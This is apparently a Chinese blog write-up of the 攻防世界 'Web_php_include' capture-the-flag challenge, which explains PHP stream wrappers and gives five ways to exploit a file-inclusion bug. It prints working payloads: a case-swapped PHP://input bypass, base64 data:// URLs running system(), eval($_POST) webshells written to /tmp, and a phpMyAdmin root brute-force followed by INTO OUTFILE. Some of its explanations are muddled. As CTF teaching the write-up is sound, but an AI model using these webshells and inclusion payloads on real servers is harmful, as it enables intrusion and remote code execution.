2024.12.10——攻防世界Web_php_include

知识点:代码审计 文件包含 伪协议

伪协议知识点补充:

在PHP中,伪协议(Pseudo Protocols)也被称为流包装器,这些伪协议以 php://开头,后面跟着一些参数,用于指定要执行的操作或需要访问的资源。 伪协议表明这些协议并不是一个真实的外部协议,例如http或ftp。PHP伪协议的出现是为了提供一个统一的、简洁的接口来处理不同的数据流。这些伪协议可以被看作是一种桥梁,它们允许开发者使用常规的文件操作函数来处理各种不同的数据流。

php://input:是PHP提供的一个伪协议,允许开发者访问POST请求的原始内容,对于POST请求数据,PHP提供了 $_POST$FILES 超全局变量,在客户端发起POST请求时,PHP将自动处理POST提交的数据并将处理结果存放至 $_POST$FILES 中。

一、解题思路

step 1 打开靶机审题

打开靶机得到一串代码,开始代码审计

复制代码
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
 ? ?$page=str_replace("php://", "", $page);
}
include($page);
?>
step 2 代码审计
  1. show_source(__FILE__); show_source() 函数:将指定文件的内容以语法高亮的形式输出

  2. strstr($page, "php://") strstr()函数

    strstr(字符串,你要搜索的内容,false)

    括号里面有三个部分:

    1.字符串:也就是上面的 p a g e 。例如:在 u r l 后面添加 / p a g e = 123456 ,那么 page。例如:在url后面添加 /page=123456,那么 page。例如:在url后面添加/page=123456,那么page的内容就是123456。

    2.你要搜索的内容:也就是题目中的php://。意思就是该函数会从$page的内容里去寻找php://,而这里是一个while语句,一旦查找到php://,那么就会执行大括号里面的语句。

    例如:我的url是

    复制代码
    http://61.147.171.105:53858/?page=php.php://input

    那么传入的$page的内容就是php://input,而前面的"php."就会被丢弃。

    3.false:我这里写false的原因是该参数默认是false 。也就是一般情况只需要写前两个参数即可。false代表匹配到php://之后,会输出php://和之后的内容。而如果为true,则会输出"php.",也就是php://前面的内容。

    注:strstr函数对大小写敏感,也就是会区分大小写。

  3. str_replace("php://", "", $page) str_replace()函数

    str_replace函数:这个函数的作用是将匹配到的php://全部替换为空。

例如:str_replace("1","2","123")会输出223。因为会将全部的1替换为2。(同样区分大小写)

str_replace("php://", "", $page) ,即会将 php:// 替换为 $page 中的值。

总之,程序过滤掉了page=参数传入php://

step 3 五个解法
解法一 使用php://input 伪协议&大小写绕过/原因:strstr函数区分大小写

php://input可用于执行php代码,使用post方式传递代码即可。这里再将php改为PHP

构建url为

复制代码
/?page=PHP://input

使用hackbar或bp抓包,用post方式传递php代码。

<?php system('ls'); ?> 列出所有文件

fl4gisisish3r3.php 疑似flag,cat一下得到了真的flag

解法二 data://伪协议执行命令利用

既然过滤了php://的伪协议 我们可以使用其他协议来替代,这里使用data://伪协议

**data://**伪协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

使用方法:

复制代码
data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("dir")?> base64编码后为 PD9waHAgc3lzdGVtKCJkaXIiKT8+

复制代码
http://61.147.171.105:64764/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b

(注意编码后的+号要URL编码)

<?php system("cat fl4gisisish3r3.php")?> base64编码后使用

复制代码
http://61.147.171.105:64764/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看源码得到flag

解法三 data://伪协议转木马

<?php eval($_POST[x]); ?> base64加密后拼接

复制代码
http://61.147.171.105:64764/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

菜刀连接即可:

解法四 抓包后再最下面添加一段代码+蚁剑

代码如下:

复制代码
<?PHP fputs(fopen('/tmp/shell.php','w'),'<?php @eval($_POST[x])?>');?>

注意点:这里一句话木马[]里没有单引号&蚁剑链接先测试链接

Tips:linux默认tmp是可写目录,所以尝试一句话,然后蚁剑链接,即可看到文件

解法四 数据库写入一句话木马(这里没弄明白在哪里写入一句话木马,望大佬指条明路!)

dirsearch扫描获得phpmyadmin文件,怪怪的,传参进去看看情况,得到如下界面

抓包爆破用户名和密码 得到用户名为root,密码为空

进入数据库执行这条命令查看secure_file_priv是否为空,为空则可以写数据

SHOW VARIABLES LIKE "secure_file_priv" 显示为空

然后写入一句话马,用蚁剑连接

复制代码
SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

注:secure_file_priv 为系统变量,如果是null,即没设置允许操作的目录,所以没法导出到文件

解法五 通过hello参数回显(新方法,但这里模棱两可,这里也需要大佬指路)

payload如下(flag文件名由上面方法可以得到)

复制代码
http://61.147.171.105:64764/?page=http://127.0.0.1?hello=<?show_source('fl4gisisish3r3.php');?>

大概理解一下:

首先使page参数为本页代码,绕过判断,会执行include文件包含本页代码,这时传入的hello参数会被视为php代码执行

相关推荐
apcipot_rain1 小时前
【应用密码学】实验五 公钥密码2——ECC
前端·数据库·python
ShallowLin1 小时前
vue3学习——组合式 API:生命周期钩子
前端·javascript·vue.js
Nejosi_念旧1 小时前
Vue API 、element-plus自动导入插件
前端·javascript·vue.js
互联网搬砖老肖1 小时前
Web 架构之攻击应急方案
前端·架构
pixle02 小时前
Vue3 Echarts 3D饼图(3D环形图)实现讲解附带源码
前端·3d·echarts
麻芝汤圆3 小时前
MapReduce 入门实战:WordCount 程序
大数据·前端·javascript·ajax·spark·mapreduce
juruiyuan1114 小时前
FFmpeg3.4 libavcodec协议框架增加新的decode协议
前端
Peter 谭5 小时前
React Hooks 实现原理深度解析:从基础到源码级理解
前端·javascript·react.js·前端框架·ecmascript
teacher伟大光荣且正确5 小时前
Qt Creator 配置 Android 编译环境
android·开发语言·qt
Lucky小小吴6 小时前
木马查杀篇—Opcode提取
php·opcode·木马查杀